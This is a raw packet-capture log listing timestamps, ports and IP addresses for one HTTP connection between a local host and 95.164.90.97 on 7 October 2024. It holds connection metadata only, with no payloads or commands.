Oct 7, 2024 03:15:48.941287994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941313028 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941318035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941351891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941354036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941386938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941392899 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941423893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941426039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941457033 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941466093 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941490889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941493034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941520929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941524029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941553116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941555977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941587925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941598892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941620111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941627979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941653967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941662073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941687107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941695929 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941724062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941726923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941754103 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.941766024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.941797972 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.999728918 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999759912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999785900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999804020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999819994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999838114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999852896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999870062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.999890089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.999939919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025115967 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025178909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025203943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025222063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025238991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025253057 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025279999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025279999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025291920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025309086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025321960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025330067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025342941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025358915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025379896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025398970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025413990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025413990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025418043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025424004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025437117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025463104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025470018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025479078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025494099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025518894 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025531054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025531054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025531054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025537014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025552988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025568008 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025578022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025592089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025610924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025623083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025624990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025643110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025656939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025656939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025687933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025693893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025711060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025738001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025738955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025754929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025784969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025791883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025800943 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025815964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025819063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025832891 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025846004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025860071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025868893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025876999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025892973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025898933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025918961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025933981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025952101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025958061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025974989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.025985003 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.025993109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026001930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026010036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026029110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026040077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026045084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026062012 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026071072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026078939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026087999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026120901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026128054 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026135921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026143074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026151896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026207924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026228905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026245117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026273966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026278973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026294947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026304007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026310921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026324987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026335955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026345015 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026354074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026360989 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026379108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026380062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026395082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026412010 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026432037 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026457071 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026515961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026530981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026546001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026561022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026561022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026577950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026595116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026595116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026612043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026628971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026639938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026649952 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026658058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026683092 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026684046 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026701927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.026709080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026741028 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.026748896 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027276039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027319908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027319908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027334929 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027359962 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027390957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027390957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027409077 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027425051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027446985 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027471066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027476072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027498007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027507067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027507067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027508020 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027513981 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027530909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027533054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027544022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027556896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027570009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027574062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027590036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027600050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027616978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027663946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027683973 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027751923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027796984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027843952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027858019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027873993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027887106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027893066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027909040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027909040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027930021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027954102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027960062 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.027972937 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.027988911 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028001070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028003931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028022051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028023005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028038979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028048992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028057098 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028065920 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028085947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028101921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028111935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028127909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028143883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028155088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028157949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.028203964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.028224945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.029216051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029274940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.029293060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029306889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029321909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029339075 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029340029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.029356003 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029365063 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.029373884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029390097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.029402018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.029429913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086481094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086508036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086555004 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086579084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086591005 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086606979 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086622953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086633921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086638927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086653948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086656094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.086680889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.086719990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112163067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112217903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112242937 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112268925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112277031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112310886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112334013 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112360001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112366915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112407923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112418890 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112466097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112473965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112508059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112533092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112545013 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112564087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112584114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112601995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112648010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112654924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112690926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112715006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112740993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112746954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112792969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112799883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112844944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112854004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112889051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112916946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112924099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112927914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.112958908 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.112971067 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113001108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113003969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113044977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113056898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113101006 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113109112 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113143921 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113166094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113178968 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113185883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113218069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113224030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113265991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113274097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113303900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113327026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113348007 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113356113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113403082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113460064 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113507986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113511086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113544941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113569021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113579035 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113601923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113615036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113624096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113651991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113679886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113688946 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113692999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113724947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113730907 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113760948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113768101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113795996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113805056 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113831997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113837957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113867998 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113876104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113903999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113910913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113939047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113948107 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.113974094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.113981009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114010096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114017010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114044905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114053965 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114079952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114087105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:49.114115953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:49.114121914 CEST	49737	80	192.168.2.4	95.164.90.97
